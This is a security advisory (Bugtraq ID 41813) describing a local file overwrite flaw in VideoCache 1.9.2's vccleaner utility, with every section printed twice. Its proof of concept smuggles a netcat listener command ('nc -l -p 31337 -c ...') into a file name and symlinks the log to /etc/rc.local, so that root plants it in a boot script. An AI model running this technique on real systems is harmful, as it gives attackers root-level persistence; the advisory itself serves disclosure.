VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability
BID:41813
Info
VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability
| Bugtraq ID: | 41813 |
| Class: | Design Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Dec 16 2009 12:00AM |
| Updated: | Dec 16 2009 12:00AM |
| Credit: | Dominick LaTrappe |
| Vulnerable: |
Kulbir Saini VideoCache 1.9.2 |
| Not Vulnerable: | |
Discussion
VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability
VideoCache is prone to a security vulnerability that may allow attackers to overwrite arbitrary data.
An attacker can exploit this issue to semi-overwrite arbitrary files with root privileges. Successfully exploiting this issue will result in a denial-of-service condition or the corruption of arbitrary files.
VideoCache 1.9.2 is vulnerable; other versions may also be affected.
VideoCache is prone to a security vulnerability that may allow attackers to overwrite arbitrary data.
An attacker can exploit this issue to semi-overwrite arbitrary files with root privileges. Successfully exploiting this issue will result in a denial-of-service condition or the corruption of arbitrary files.
VideoCache 1.9.2 is vulnerable; other versions may also be affected.
Exploit / POC
VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability
The following proof of concept is available:
attacker:
$ id
uid=13(proxy) gid=13(proxy) groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money
> nc -l -p 31337 -c sushi
> monkey"
$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log
admin:
# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner
Videocache cleaning has completed successfully.
The following proof of concept is available:
attacker:
$ id
uid=13(proxy) gid=13(proxy) groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money
> nc -l -p 31337 -c sushi
> monkey"
$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log
admin:
# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner
Videocache cleaning has completed successfully.
Solution / Fix
VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
VideoCache 'vccleaner' Utility Local Arbitrary File Overwrite Vulnerability
References:
References:
- VideoCache Homeage (Kulbir Saini)